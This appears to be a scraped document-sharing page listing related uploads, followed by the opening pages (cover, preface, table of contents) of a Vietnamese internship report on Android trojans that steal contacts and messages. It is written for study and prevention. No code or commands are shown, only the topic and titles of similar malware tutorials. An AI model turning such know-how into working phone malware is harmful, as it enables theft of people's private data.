Demo_chưa sửa hết.pdfDemo_chưa sửa hết.pdf
Demo_chưa sửa hết.pdfOanhVThKiu1
 
Bao cao thuc tap ck
Bao cao thuc tap ckBao cao thuc tap ck
Bao cao thuc tap ckice_eyes
 
Báo cáo thực tập tốt nghiệp Bán đồ dân dụng trức tuyến bằng OpenCart
Báo cáo thực tập tốt nghiệp Bán đồ dân dụng trức tuyến bằng OpenCartBáo cáo thực tập tốt nghiệp Bán đồ dân dụng trức tuyến bằng OpenCart
Báo cáo thực tập tốt nghiệp Bán đồ dân dụng trức tuyến bằng OpenCarthoainhan1501
 
Khóa Luận Tìm Hiểu Về Ngôn Ngữ Lập Trình Độc Lập Trên Mobile - PhoneGap
Khóa Luận Tìm Hiểu Về Ngôn Ngữ Lập Trình Độc Lập Trên Mobile - PhoneGapKhóa Luận Tìm Hiểu Về Ngôn Ngữ Lập Trình Độc Lập Trên Mobile - PhoneGap
Khóa Luận Tìm Hiểu Về Ngôn Ngữ Lập Trình Độc Lập Trên Mobile - PhoneGapĐiềm Nguyễn Văn
 
Bao cao Cuoi Ky File Word
Bao cao Cuoi Ky File WordBao cao Cuoi Ky File Word
Bao cao Cuoi Ky File WordDuy Nguyen
 
Vu tuananh
Vu tuananhVu tuananh
Vu tuananhVũ Anh
 
Báo Cáo Thực Tập _System Hacking
Báo Cáo Thực Tập _System HackingBáo Cáo Thực Tập _System Hacking
Báo Cáo Thực Tập _System HackingVũ Anh
 
Vu tuananh
Vu tuananhVu tuananh
Vu tuananhVũ Anh
 
Báo cáo thực tập cuối kì tô thị hường
Báo cáo thực tập cuối kì   tô thị hườngBáo cáo thực tập cuối kì   tô thị hường
Báo cáo thực tập cuối kì tô thị hườngHường Tô
 
Bao cao thuc tap
Bao cao thuc tapBao cao thuc tap
Bao cao thuc tapPhuong Ngo
 
Baocaohuynam
BaocaohuynamBaocaohuynam
Baocaohuynamhuynamdl
 
Báo cáo cuối kì
Báo cáo cuối kì Báo cáo cuối kì
Báo cáo cuối kì Hà Tiên Nhi
 

Similar to [Athena]Bao cao cuoi ki (20)

Bao cao thuc tap athena
Bao cao thuc tap athenaBao cao thuc tap athena
Bao cao thuc tap athena
 
Báo cáo cuối kì
Báo cáo cuối kìBáo cáo cuối kì
Báo cáo cuối kì
 
Xây dựng hệ thống hỗ trợ tìm kiếm và gợi ý học bổng du học, Nguyễn Thị Thuỳ D...
Xây dựng hệ thống hỗ trợ tìm kiếm và gợi ý học bổng du học, Nguyễn Thị Thuỳ D...Xây dựng hệ thống hỗ trợ tìm kiếm và gợi ý học bổng du học, Nguyễn Thị Thuỳ D...
Xây dựng hệ thống hỗ trợ tìm kiếm và gợi ý học bổng du học, Nguyễn Thị Thuỳ D...
 
Bao cao ck update lan 1
Bao cao ck update lan 1Bao cao ck update lan 1
Bao cao ck update lan 1
 
Báo cáo thực tập Athena
Báo cáo thực tập AthenaBáo cáo thực tập Athena
Báo cáo thực tập Athena
 
Demo_chưa sửa hết.pdf
Demo_chưa sửa hết.pdfDemo_chưa sửa hết.pdf
Demo_chưa sửa hết.pdf
 
Bao cao thuc tap ck
Bao cao thuc tap ckBao cao thuc tap ck
Bao cao thuc tap ck
 
Báo cáo thực tập tốt nghiệp Bán đồ dân dụng trức tuyến bằng OpenCart
Báo cáo thực tập tốt nghiệp Bán đồ dân dụng trức tuyến bằng OpenCartBáo cáo thực tập tốt nghiệp Bán đồ dân dụng trức tuyến bằng OpenCart
Báo cáo thực tập tốt nghiệp Bán đồ dân dụng trức tuyến bằng OpenCart
 
Khóa Luận Tìm Hiểu Về Ngôn Ngữ Lập Trình Độc Lập Trên Mobile - PhoneGap
Khóa Luận Tìm Hiểu Về Ngôn Ngữ Lập Trình Độc Lập Trên Mobile - PhoneGapKhóa Luận Tìm Hiểu Về Ngôn Ngữ Lập Trình Độc Lập Trên Mobile - PhoneGap
Khóa Luận Tìm Hiểu Về Ngôn Ngữ Lập Trình Độc Lập Trên Mobile - PhoneGap
 
Bao cao Cuoi Ky File Word
Bao cao Cuoi Ky File WordBao cao Cuoi Ky File Word
Bao cao Cuoi Ky File Word
 
Đề tài: Xây dựng ứng dụng Android truy xuất cơ sở dữ liệu, 9đ
Đề tài: Xây dựng ứng dụng Android truy xuất cơ sở dữ liệu, 9đĐề tài: Xây dựng ứng dụng Android truy xuất cơ sở dữ liệu, 9đ
Đề tài: Xây dựng ứng dụng Android truy xuất cơ sở dữ liệu, 9đ
 
Đề tài: Xây dựng ứng dụng Android truy xuất cơ sở dữ liệu, HAY
Đề tài: Xây dựng ứng dụng Android truy xuất cơ sở dữ liệu, HAYĐề tài: Xây dựng ứng dụng Android truy xuất cơ sở dữ liệu, HAY
Đề tài: Xây dựng ứng dụng Android truy xuất cơ sở dữ liệu, HAY
 
Vu tuananh
Vu tuananhVu tuananh
Vu tuananh
 
Báo Cáo Thực Tập _System Hacking
Báo Cáo Thực Tập _System HackingBáo Cáo Thực Tập _System Hacking
Báo Cáo Thực Tập _System Hacking
 
Vu tuananh
Vu tuananhVu tuananh
Vu tuananh
 
Báo cáo thực tập cuối kì tô thị hường
Báo cáo thực tập cuối kì   tô thị hườngBáo cáo thực tập cuối kì   tô thị hường
Báo cáo thực tập cuối kì tô thị hường
 
Bao cao thuc tap
Bao cao thuc tapBao cao thuc tap
Bao cao thuc tap
 
bao_cao_thuc_tap
bao_cao_thuc_tapbao_cao_thuc_tap
bao_cao_thuc_tap
 
Baocaohuynam
BaocaohuynamBaocaohuynam
Baocaohuynam
 
Báo cáo cuối kì
Báo cáo cuối kì Báo cáo cuối kì
Báo cáo cuối kì
 

More from thach28

Web nhân sự
Web nhân sựWeb nhân sự
Web nhân sựthach28
 
Xây dựng giao diện website dựa trên mã nguồn joomla(tiếp theo)
Xây dựng giao diện website dựa trên mã nguồn joomla(tiếp theo)Xây dựng giao diện website dựa trên mã nguồn joomla(tiếp theo)
Xây dựng giao diện website dựa trên mã nguồn joomla(tiếp theo)thach28
 
Bao cao cuoi ki [Athena]
Bao cao cuoi ki [Athena]Bao cao cuoi ki [Athena]
Bao cao cuoi ki [Athena]thach28
 
Slide bao cao giua ki
Slide bao cao giua ki Slide bao cao giua ki
Slide bao cao giua ki thach28
 
Slide bao cao cuoi ki
Slide bao cao cuoi ki Slide bao cao cuoi ki
Slide bao cao cuoi ki thach28
 
Bao cao cuoi ki
Bao cao cuoi kiBao cao cuoi ki
Bao cao cuoi kithach28
 
Cài đặt trojan cho android
Cài đặt trojan cho androidCài đặt trojan cho android
Cài đặt trojan cho androidthach28
 
Xâm nhập điện thoại android qua vps trên internet
Xâm nhập điện thoại android qua vps trên internetXâm nhập điện thoại android qua vps trên internet
Xâm nhập điện thoại android qua vps trên internetthach28
 
Cai dat metasploit community tren windows và ubuntu
Cai dat metasploit community tren windows và ubuntuCai dat metasploit community tren windows và ubuntu
Cai dat metasploit community tren windows và ubuntuthach28
 
Cách tạo mã độc trên kali linux và triển khai trên android ảo
Cách tạo mã độc trên kali linux và triển khai trên android ảoCách tạo mã độc trên kali linux và triển khai trên android ảo
Cách tạo mã độc trên kali linux và triển khai trên android ảothach28
 

More from thach28 (10)

Web nhân sự
Web nhân sựWeb nhân sự
Web nhân sự
 
Xây dựng giao diện website dựa trên mã nguồn joomla(tiếp theo)
Xây dựng giao diện website dựa trên mã nguồn joomla(tiếp theo)Xây dựng giao diện website dựa trên mã nguồn joomla(tiếp theo)
Xây dựng giao diện website dựa trên mã nguồn joomla(tiếp theo)
 
Bao cao cuoi ki [Athena]
Bao cao cuoi ki [Athena]Bao cao cuoi ki [Athena]
Bao cao cuoi ki [Athena]
 
Slide bao cao giua ki
Slide bao cao giua ki Slide bao cao giua ki
Slide bao cao giua ki
 
Slide bao cao cuoi ki
Slide bao cao cuoi ki Slide bao cao cuoi ki
Slide bao cao cuoi ki
 
Bao cao cuoi ki
Bao cao cuoi kiBao cao cuoi ki
Bao cao cuoi ki
 
Cài đặt trojan cho android
Cài đặt trojan cho androidCài đặt trojan cho android
Cài đặt trojan cho android
 
Xâm nhập điện thoại android qua vps trên internet
Xâm nhập điện thoại android qua vps trên internetXâm nhập điện thoại android qua vps trên internet
Xâm nhập điện thoại android qua vps trên internet
 
Cai dat metasploit community tren windows và ubuntu
Cai dat metasploit community tren windows và ubuntuCai dat metasploit community tren windows và ubuntu
Cai dat metasploit community tren windows và ubuntu
 
Cách tạo mã độc trên kali linux và triển khai trên android ảo
Cách tạo mã độc trên kali linux và triển khai trên android ảoCách tạo mã độc trên kali linux và triển khai trên android ảo
Cách tạo mã độc trên kali linux và triển khai trên android ảo
 

Recently uploaded

50 ĐỀ ĐỀ XUẤT THI VÀO 10 THPT SỞ GIÁO DỤC THANH HÓA MÔN TIẾNG ANH 9 CÓ TỰ LUẬ...
50 ĐỀ ĐỀ XUẤT THI VÀO 10 THPT SỞ GIÁO DỤC THANH HÓA MÔN TIẾNG ANH 9 CÓ TỰ LUẬ...50 ĐỀ ĐỀ XUẤT THI VÀO 10 THPT SỞ GIÁO DỤC THANH HÓA MÔN TIẾNG ANH 9 CÓ TỰ LUẬ...
50 ĐỀ ĐỀ XUẤT THI VÀO 10 THPT SỞ GIÁO DỤC THANH HÓA MÔN TIẾNG ANH 9 CÓ TỰ LUẬ...Nguyen Thanh Tu Collection
 
Sơ đồ tư duy môn sinh học bậc THPT.pdf
Sơ đồ tư duy môn sinh học bậc THPT.pdfSơ đồ tư duy môn sinh học bậc THPT.pdf
Sơ đồ tư duy môn sinh học bậc THPT.pdftohoanggiabao81
 
200 câu hỏi trắc nghiệm ôn tập PLDC.pdf
200 câu hỏi trắc nghiệm ôn tập  PLDC.pdf200 câu hỏi trắc nghiệm ôn tập  PLDC.pdf
200 câu hỏi trắc nghiệm ôn tập PLDC.pdfdong92356
 
Luận giải tử vi của 12 con giáp năm 2024 chi tiết và chính xác -...
Luận giải tử vi của 12 con giáp năm 2024 chi tiết và chính xác -...Luận giải tử vi của 12 con giáp năm 2024 chi tiết và chính xác -...
Luận giải tử vi của 12 con giáp năm 2024 chi tiết và chính xác -...Xem Số Mệnh
 
Xem sim phong thủy luận Hung - Cát số điện thoại chính xác nhất.pdf
Xem sim phong thủy luận Hung - Cát số điện thoại chính xác nhất.pdfXem sim phong thủy luận Hung - Cát số điện thoại chính xác nhất.pdf
Xem sim phong thủy luận Hung - Cát số điện thoại chính xác nhất.pdfXem Số Mệnh
 
10 ĐỀ KIỂM TRA + 6 ĐỀ ÔN TẬP CUỐI KÌ 2 VẬT LÝ 11 - KẾT NỐI TRI THỨC - THEO C...
10 ĐỀ KIỂM TRA + 6 ĐỀ ÔN TẬP CUỐI KÌ 2 VẬT LÝ 11 - KẾT NỐI TRI THỨC - THEO C...10 ĐỀ KIỂM TRA + 6 ĐỀ ÔN TẬP CUỐI KÌ 2 VẬT LÝ 11 - KẾT NỐI TRI THỨC - THEO C...
10 ĐỀ KIỂM TRA + 6 ĐỀ ÔN TẬP CUỐI KÌ 2 VẬT LÝ 11 - KẾT NỐI TRI THỨC - THEO C...Nguyen Thanh Tu Collection
 
VẬN DỤNG KIẾN THỨC LIÊN MÔN TRONG GIẢI BÀI TẬP ÔN THI THPTQG MÔN SINH HỌC - H...
VẬN DỤNG KIẾN THỨC LIÊN MÔN TRONG GIẢI BÀI TẬP ÔN THI THPTQG MÔN SINH HỌC - H...VẬN DỤNG KIẾN THỨC LIÊN MÔN TRONG GIẢI BÀI TẬP ÔN THI THPTQG MÔN SINH HỌC - H...
VẬN DỤNG KIẾN THỨC LIÊN MÔN TRONG GIẢI BÀI TẬP ÔN THI THPTQG MÔN SINH HỌC - H...Nguyen Thanh Tu Collection
 
Bài giảng về vật liệu ceramic ( sứ vệ sinh, gạch ốp lát )
Bài giảng về vật liệu ceramic ( sứ vệ sinh, gạch ốp lát )Bài giảng về vật liệu ceramic ( sứ vệ sinh, gạch ốp lát )
Bài giảng về vật liệu ceramic ( sứ vệ sinh, gạch ốp lát )lamdapoet123
 
Sáng kiến Dạy học theo định hướng STEM một số chủ đề phần “vật sống”, Khoa họ...
Sáng kiến Dạy học theo định hướng STEM một số chủ đề phần “vật sống”, Khoa họ...Sáng kiến Dạy học theo định hướng STEM một số chủ đề phần “vật sống”, Khoa họ...
Sáng kiến Dạy học theo định hướng STEM một số chủ đề phần “vật sống”, Khoa họ...Nguyen Thanh Tu Collection
 
ĐẢNG LÃNH ĐẠO HAI CUỘC KHÁNG CHIẾN GIÀNH ĐỘC LẬP HOÀN TOÀN, THỐNG NHẤT ĐẤT NƯ...
ĐẢNG LÃNH ĐẠO HAI CUỘC KHÁNG CHIẾN GIÀNH ĐỘC LẬP HOÀN TOÀN, THỐNG NHẤT ĐẤT NƯ...ĐẢNG LÃNH ĐẠO HAI CUỘC KHÁNG CHIẾN GIÀNH ĐỘC LẬP HOÀN TOÀN, THỐNG NHẤT ĐẤT NƯ...
ĐẢNG LÃNH ĐẠO HAI CUỘC KHÁNG CHIẾN GIÀNH ĐỘC LẬP HOÀN TOÀN, THỐNG NHẤT ĐẤT NƯ...PhcTrn274398
 
Nhóm 10-Xác suất và thống kê toán-đại học thương mại
Nhóm 10-Xác suất và thống kê toán-đại học thương mạiNhóm 10-Xác suất và thống kê toán-đại học thương mại
Nhóm 10-Xác suất và thống kê toán-đại học thương mạiTruongThiDiemQuynhQP
 
syllabus for the book "Tiếng Anh 6 i-Learn Smart World"
syllabus for the book "Tiếng Anh 6 i-Learn Smart World"syllabus for the book "Tiếng Anh 6 i-Learn Smart World"
syllabus for the book "Tiếng Anh 6 i-Learn Smart World"LaiHoang6
 
Slide Webinar Hướng dẫn sử dụng ChatGPT cho người mới bắt đầ...
Slide Webinar Hướng dẫn sử dụng ChatGPT cho người mới bắt đầ...Slide Webinar Hướng dẫn sử dụng ChatGPT cho người mới bắt đầ...
Slide Webinar Hướng dẫn sử dụng ChatGPT cho người mới bắt đầ...Học viện Kstudy
 
Linh kiện điện tử - Điện tử số sáng tạo VN.pdf
Linh kiện điện tử - Điện tử số sáng tạo VN.pdfLinh kiện điện tử - Điện tử số sáng tạo VN.pdf
Linh kiện điện tử - Điện tử số sáng tạo VN.pdfXem Số Mệnh
 
Lập lá số tử vi trọn đời có luận giải chi tiết, chính xác n...
Lập lá số tử vi trọn đời có luận giải chi tiết, chính xác n...Lập lá số tử vi trọn đời có luận giải chi tiết, chính xác n...
Lập lá số tử vi trọn đời có luận giải chi tiết, chính xác n...Xem Số Mệnh
 
Hệ phương trình tuyến tính và các ứng dụng trong kinh tế
Hệ phương trình tuyến tính và các ứng dụng trong kinh tếHệ phương trình tuyến tính và các ứng dụng trong kinh tế
Hệ phương trình tuyến tính và các ứng dụng trong kinh tếngTonH1
 
cuộc cải cách của Lê Thánh Tông - Sử 11
cuộc cải cách của Lê Thánh Tông -  Sử 11cuộc cải cách của Lê Thánh Tông -  Sử 11
cuộc cải cách của Lê Thánh Tông - Sử 11zedgaming208
 
Sáng kiến “Sử dụng ứng dụng Quizizz nhằm nâng cao chất lượng ôn thi tốt nghiệ...
Sáng kiến “Sử dụng ứng dụng Quizizz nhằm nâng cao chất lượng ôn thi tốt nghiệ...Sáng kiến “Sử dụng ứng dụng Quizizz nhằm nâng cao chất lượng ôn thi tốt nghiệ...
Sáng kiến “Sử dụng ứng dụng Quizizz nhằm nâng cao chất lượng ôn thi tốt nghiệ...Nguyen Thanh Tu Collection
 
30 ĐỀ PHÁT TRIỂN THEO CẤU TRÚC ĐỀ MINH HỌA BGD NGÀY 22-3-2024 KỲ THI TỐT NGHI...
30 ĐỀ PHÁT TRIỂN THEO CẤU TRÚC ĐỀ MINH HỌA BGD NGÀY 22-3-2024 KỲ THI TỐT NGHI...30 ĐỀ PHÁT TRIỂN THEO CẤU TRÚC ĐỀ MINH HỌA BGD NGÀY 22-3-2024 KỲ THI TỐT NGHI...
30 ĐỀ PHÁT TRIỂN THEO CẤU TRÚC ĐỀ MINH HỌA BGD NGÀY 22-3-2024 KỲ THI TỐT NGHI...Nguyen Thanh Tu Collection
 
Tư tưởng Hồ Chí Minh về độc lập dân tộc và CNXH
Tư tưởng Hồ Chí Minh về độc lập dân tộc và CNXHTư tưởng Hồ Chí Minh về độc lập dân tộc và CNXH
Tư tưởng Hồ Chí Minh về độc lập dân tộc và CNXHThaoPhuong154017
 

Recently uploaded (20)

50 ĐỀ ĐỀ XUẤT THI VÀO 10 THPT SỞ GIÁO DỤC THANH HÓA MÔN TIẾNG ANH 9 CÓ TỰ LUẬ...
50 ĐỀ ĐỀ XUẤT THI VÀO 10 THPT SỞ GIÁO DỤC THANH HÓA MÔN TIẾNG ANH 9 CÓ TỰ LUẬ...50 ĐỀ ĐỀ XUẤT THI VÀO 10 THPT SỞ GIÁO DỤC THANH HÓA MÔN TIẾNG ANH 9 CÓ TỰ LUẬ...
50 ĐỀ ĐỀ XUẤT THI VÀO 10 THPT SỞ GIÁO DỤC THANH HÓA MÔN TIẾNG ANH 9 CÓ TỰ LUẬ...
 
Sơ đồ tư duy môn sinh học bậc THPT.pdf
Sơ đồ tư duy môn sinh học bậc THPT.pdfSơ đồ tư duy môn sinh học bậc THPT.pdf
Sơ đồ tư duy môn sinh học bậc THPT.pdf
 
200 câu hỏi trắc nghiệm ôn tập PLDC.pdf
200 câu hỏi trắc nghiệm ôn tập  PLDC.pdf200 câu hỏi trắc nghiệm ôn tập  PLDC.pdf
200 câu hỏi trắc nghiệm ôn tập PLDC.pdf
 
Luận giải tử vi của 12 con giáp năm 2024 chi tiết và chính xác -...
Luận giải tử vi của 12 con giáp năm 2024 chi tiết và chính xác -...Luận giải tử vi của 12 con giáp năm 2024 chi tiết và chính xác -...
Luận giải tử vi của 12 con giáp năm 2024 chi tiết và chính xác -...
 
Xem sim phong thủy luận Hung - Cát số điện thoại chính xác nhất.pdf
Xem sim phong thủy luận Hung - Cát số điện thoại chính xác nhất.pdfXem sim phong thủy luận Hung - Cát số điện thoại chính xác nhất.pdf
Xem sim phong thủy luận Hung - Cát số điện thoại chính xác nhất.pdf
 
10 ĐỀ KIỂM TRA + 6 ĐỀ ÔN TẬP CUỐI KÌ 2 VẬT LÝ 11 - KẾT NỐI TRI THỨC - THEO C...
10 ĐỀ KIỂM TRA + 6 ĐỀ ÔN TẬP CUỐI KÌ 2 VẬT LÝ 11 - KẾT NỐI TRI THỨC - THEO C...10 ĐỀ KIỂM TRA + 6 ĐỀ ÔN TẬP CUỐI KÌ 2 VẬT LÝ 11 - KẾT NỐI TRI THỨC - THEO C...
10 ĐỀ KIỂM TRA + 6 ĐỀ ÔN TẬP CUỐI KÌ 2 VẬT LÝ 11 - KẾT NỐI TRI THỨC - THEO C...
 
VẬN DỤNG KIẾN THỨC LIÊN MÔN TRONG GIẢI BÀI TẬP ÔN THI THPTQG MÔN SINH HỌC - H...
VẬN DỤNG KIẾN THỨC LIÊN MÔN TRONG GIẢI BÀI TẬP ÔN THI THPTQG MÔN SINH HỌC - H...VẬN DỤNG KIẾN THỨC LIÊN MÔN TRONG GIẢI BÀI TẬP ÔN THI THPTQG MÔN SINH HỌC - H...
VẬN DỤNG KIẾN THỨC LIÊN MÔN TRONG GIẢI BÀI TẬP ÔN THI THPTQG MÔN SINH HỌC - H...
 
Bài giảng về vật liệu ceramic ( sứ vệ sinh, gạch ốp lát )
Bài giảng về vật liệu ceramic ( sứ vệ sinh, gạch ốp lát )Bài giảng về vật liệu ceramic ( sứ vệ sinh, gạch ốp lát )
Bài giảng về vật liệu ceramic ( sứ vệ sinh, gạch ốp lát )
 
Sáng kiến Dạy học theo định hướng STEM một số chủ đề phần “vật sống”, Khoa họ...
Sáng kiến Dạy học theo định hướng STEM một số chủ đề phần “vật sống”, Khoa họ...Sáng kiến Dạy học theo định hướng STEM một số chủ đề phần “vật sống”, Khoa họ...
Sáng kiến Dạy học theo định hướng STEM một số chủ đề phần “vật sống”, Khoa họ...
 
ĐẢNG LÃNH ĐẠO HAI CUỘC KHÁNG CHIẾN GIÀNH ĐỘC LẬP HOÀN TOÀN, THỐNG NHẤT ĐẤT NƯ...
ĐẢNG LÃNH ĐẠO HAI CUỘC KHÁNG CHIẾN GIÀNH ĐỘC LẬP HOÀN TOÀN, THỐNG NHẤT ĐẤT NƯ...ĐẢNG LÃNH ĐẠO HAI CUỘC KHÁNG CHIẾN GIÀNH ĐỘC LẬP HOÀN TOÀN, THỐNG NHẤT ĐẤT NƯ...
ĐẢNG LÃNH ĐẠO HAI CUỘC KHÁNG CHIẾN GIÀNH ĐỘC LẬP HOÀN TOÀN, THỐNG NHẤT ĐẤT NƯ...
 
Nhóm 10-Xác suất và thống kê toán-đại học thương mại
Nhóm 10-Xác suất và thống kê toán-đại học thương mạiNhóm 10-Xác suất và thống kê toán-đại học thương mại
Nhóm 10-Xác suất và thống kê toán-đại học thương mại
 
syllabus for the book "Tiếng Anh 6 i-Learn Smart World"
syllabus for the book "Tiếng Anh 6 i-Learn Smart World"syllabus for the book "Tiếng Anh 6 i-Learn Smart World"
syllabus for the book "Tiếng Anh 6 i-Learn Smart World"
 
Slide Webinar Hướng dẫn sử dụng ChatGPT cho người mới bắt đầ...
Slide Webinar Hướng dẫn sử dụng ChatGPT cho người mới bắt đầ...Slide Webinar Hướng dẫn sử dụng ChatGPT cho người mới bắt đầ...
Slide Webinar Hướng dẫn sử dụng ChatGPT cho người mới bắt đầ...
 
Linh kiện điện tử - Điện tử số sáng tạo VN.pdf
Linh kiện điện tử - Điện tử số sáng tạo VN.pdfLinh kiện điện tử - Điện tử số sáng tạo VN.pdf
Linh kiện điện tử - Điện tử số sáng tạo VN.pdf
 
Lập lá số tử vi trọn đời có luận giải chi tiết, chính xác n...
Lập lá số tử vi trọn đời có luận giải chi tiết, chính xác n...Lập lá số tử vi trọn đời có luận giải chi tiết, chính xác n...
Lập lá số tử vi trọn đời có luận giải chi tiết, chính xác n...
 
Hệ phương trình tuyến tính và các ứng dụng trong kinh tế
Hệ phương trình tuyến tính và các ứng dụng trong kinh tếHệ phương trình tuyến tính và các ứng dụng trong kinh tế
Hệ phương trình tuyến tính và các ứng dụng trong kinh tế
 
cuộc cải cách của Lê Thánh Tông - Sử 11
cuộc cải cách của Lê Thánh Tông -  Sử 11cuộc cải cách của Lê Thánh Tông -  Sử 11
cuộc cải cách của Lê Thánh Tông - Sử 11
 
Sáng kiến “Sử dụng ứng dụng Quizizz nhằm nâng cao chất lượng ôn thi tốt nghiệ...
Sáng kiến “Sử dụng ứng dụng Quizizz nhằm nâng cao chất lượng ôn thi tốt nghiệ...Sáng kiến “Sử dụng ứng dụng Quizizz nhằm nâng cao chất lượng ôn thi tốt nghiệ...
Sáng kiến “Sử dụng ứng dụng Quizizz nhằm nâng cao chất lượng ôn thi tốt nghiệ...
 
30 ĐỀ PHÁT TRIỂN THEO CẤU TRÚC ĐỀ MINH HỌA BGD NGÀY 22-3-2024 KỲ THI TỐT NGHI...
30 ĐỀ PHÁT TRIỂN THEO CẤU TRÚC ĐỀ MINH HỌA BGD NGÀY 22-3-2024 KỲ THI TỐT NGHI...30 ĐỀ PHÁT TRIỂN THEO CẤU TRÚC ĐỀ MINH HỌA BGD NGÀY 22-3-2024 KỲ THI TỐT NGHI...
30 ĐỀ PHÁT TRIỂN THEO CẤU TRÚC ĐỀ MINH HỌA BGD NGÀY 22-3-2024 KỲ THI TỐT NGHI...
 
Tư tưởng Hồ Chí Minh về độc lập dân tộc và CNXH
Tư tưởng Hồ Chí Minh về độc lập dân tộc và CNXHTư tưởng Hồ Chí Minh về độc lập dân tộc và CNXH
Tư tưởng Hồ Chí Minh về độc lập dân tộc và CNXH
 

[Athena]Bao cao cuoi ki

  • 1. GVHD: VÕ ĐỖ THẮNG SVTH: NGUYỄN HOÀNG THẠCH 1 BÁO CÁO THỰC TẬP CUỐI KÌ Đề tài: Nghiên cứu các Trojan, Malware cho phép đánh cắp dữ liệu như danh sách contact, tin nhắn trên điện thoại sử dụng Android và gửi ra ngoài  Nơi thực tập : TT.QUẢN TRỊ MẠNG &AN NINH MẠNG QUỐC TẾ ATHENA  Thời gian : 7/7/2014 – 7/9/2014 Sinh viên thực hiện :Nguyễn Hoàng Thạch GVHD: Võ Đỗ Thắng MSSV: 1120160 TP.HCM, ngày 9 tháng 8 năm 2014
  • 2. GVHD: VÕ ĐỖ THẮNG SVTH: NGUYỄN HOÀNG THẠCH 2 Sinh viên thực tập và giảng viên hướng dẫn Võ Đỗ Thắng
  • 3. GVHD: VÕ ĐỖ THẮNG SVTH: NGUYỄN HOÀNG THẠCH 3 NHẬN XÉT CỦA GIÁO VIÊN HƯỚNG DẪN ……………………………………………………………………………………… ……………………………………………………………………………………… ……………………………………………………………………………………… ……………………………………………………………………………………… ……………………………………………………………………………………… ……………………………………………………………………………………… ……………………………………………………………………………………… ……………………………………………………………………………………… ……………………………………………………………………………………… ……………………………………………………………………………………… ……………………………………………………………………………………… ……………………………………………………………………………………… ……………………………………………………………………………………… ……………………………………………………………………………………… ……………………………………………………………………………………… ……………………………………………………………………………………… ……………………………………………………………………………………… ……………………………………………………………………………………… TPHCM, ngày ... tháng ... năm 2014 Giáo viên hướng dẫn
  • 4. GVHD: VÕ ĐỖ THẮNG SVTH: NGUYỄN HOÀNG THẠCH 4 NHẬN XÉT CỦA KHOA ……………………………………………………………………………………… ……………………………………………………………………………………… ……………………………………………………………………………………… ……………………………………………………………………………………… ……………………………………………………………………………………… ……………………………………………………………………………………… ……………………………………………………………………………………… ……………………………………………………………………………………… ……………………………………………………………………………………… ……………………………………………………………………………………… ……………………………………………………………………………………… ……………………………………………………………………………………… ……………………………………………………………………………………… ……………………………………………………………………………………… ……………………………………………………………………………………… ……………………………………………………………………………………… ……………………………………………………………………………………… TPHCM, ngày ... tháng ... năm 2014 Trưởng Khoa
  • 5. GVHD: VÕ ĐỖ THẮNG SVTH: NGUYỄN HOÀNG THẠCH 5 Lời Nói Đầu Hiện nay có nhiều hệ điều hành mới dành cho các thiết bị điện thoại di động, tablet để thay thế cho những hệ điều hành cũ lõi thời. Như Apple có hệ điều hành IOS, Nokia có hệ điều hành Window Phone, SamSung sử dụng hệ điều hành Android. Trong đó đáng kể nhất phải nói đến Android, tuy mới bước chân vào làng điện thoại di động nhưng Android đã lần lượt hạ gục các đối thũ tầm cỡ và trở thành hệ điều hành có tốc độ tăng trưởng cũng như chiếm thị phần lớn nhất trên thế giới. Mỗi phiên bản của Android luôn thu hút mối quan tâm của giới công nghệ, các nhà sản xuất và người sử dụng. Tuy vậy hệ điều hành Android cũng là hệ điều hành dễ bị các Hacker khai thác nhất, vì vậy việc bảo đảm an toàn và hệ thống bảo mật trên Android là vấn đề đau đầu của người dùng hiện nay. Với sự nhẹ dạ cả tin, thiếu hiểu biết của người dùng, lòng tham các các thứ “Free” như free app, free wifi đã vô tình tiếp tay cho các Hacker xâm nhập và cài đặt mã độc trên chính chiếc điện thoại của bạn. Sơ đồ thể hiện sự tăng mạnh của mã độc Android Hôm nay mình viết bài báo cáo về đề tài “Nghiên cứu các trojan, malware cho phép đánh cắp dữ liệu như danh sách contact, tin nhắn trên điện thoại Android và gửi ra ngoài” để cùng nghiên cứu, tìm hiểu cách thức hoạt động, chia sẻ thông tin cũng như cung cấp các giải pháp để phòng tránh.
  • 6. GVHD: VÕ ĐỖ THẮNG SVTH: NGUYỄN HOÀNG THẠCH 6 Lời Cảm Ơn  Chúng em xin chân thành cảm ơn thầy Võ Đỗ Thắng đã tận tình giúp đỡ, hướng dẫn và cung cấp tài liệu liên quan đến đồ án này Xin chân thành cảm ơn Trung Tâm Athena đã tạo điều kiện thuận lợi trong học tập cũng như trong quá trình làm đồ án thực tập này. Chúng em cũng gửi lời cảm ơn chân thành tới các thầy cô trong Trung Tâm đã tận tình giảng dạy, trang bị cho chúng em những kiến thức quý báu trong những tháng vừa qua. Cảm ơn các thầy cô và bạn bè đã góp ý và giúp đỡ tận tình xây dựng đồ án này. Xin chân thành cảm ơn! TPHCM, ngày 9 tháng 8 năm 2014 Sinh viên thực tập Nguyễn Hoàng Thạch
  • 7. GVHD: VÕ ĐỖ THẮNG SVTH: NGUYỄN HOÀNG THẠCH 7 MỤC LỤC PHẦN 1: GIỚI THIỆU DOANH NGHIỆP THỰC TẬP............................................................................10 CHƯƠNG I: GIỚI THIỆU DOANH NGHIỆP THỰC TẬP – TRUNG TÂM ĐÀO TẠO QUẢN TRỊ MẠNG VÀ AN NINH MẠNG QUỐC TẾ ATHENA.............................................................................................................................10 1. Trụ sở và các chi nhánh:.......................................................................................................11 1.1. Trụ sở chính: .................................................................................................................11 1.2. Cơ sở 2 tại TP Hồ Chí Minh:..........................................................................................11 2. Quá trình hình thành và phát triển của trung tâm:.............................................................11 3. Cơ cấu tổ chức:.....................................................................................................................13 4. Các sản phẩm, giải pháp:.....................................................................................................13 4.1. Các khóa học dài hạn:...................................................................................................13 4.2. Các khóa học ngắn hạn: ...............................................................................................13 Khóa Quản trị mạng : ...........................................................................................................13 Khóa thiết kế web và bảo mật mạng ...................................................................................14 4.3. Các sản phẩm khác .......................................................................................................14 4.4. Cơ sở hạ tầng ................................................................................................................14 4.5. Các dịch vụ hỗ trợ:........................................................................................................15 5. Khách hàng...........................................................................................................................15 6. Đối tác...................................................................................................................................15 CHƯƠNG II.CÁC NHIỆM VỤ VÀ DỊCH VỤ CỦA BỘ PHẬN THỰC TẬP.................................................................15 PHẦN 2: NỘI DUNG THỰC TẬP.......................................................................................................16 CHƯƠNG I: LÀM TRÊN LOCAL HOST.........................................................................................................16 1. Tổng quan về Android ..........................................................................................................16 1.1 Khái niệm.......................................................................................................................16 1.2 Đặc điểm. ......................................................................................................................16 1.3 Lịch sử phát triển..........................................................................................................17 1.4 Sự ra mắt các phiên bản Android ................................................................................19 